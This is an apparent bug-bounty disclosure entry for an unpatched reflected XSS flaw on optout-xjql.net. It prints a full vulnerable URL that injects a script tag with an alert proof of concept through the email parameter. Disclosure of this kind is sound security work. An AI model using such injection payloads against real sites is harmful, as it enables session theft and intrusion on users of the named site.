optout-xjql.net XSS vulnerability

Vulnerable URL: http://www.optout-xjql.net/o-dtdz-l44-b7a0c3833a874e1449512d632a79d06f?email=john%40hotmail.com%22%3E%3Cscript%3Ealert%28%27OpenBugBounty%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.10.2017 Vulnerability type:| XSS Vulnerability...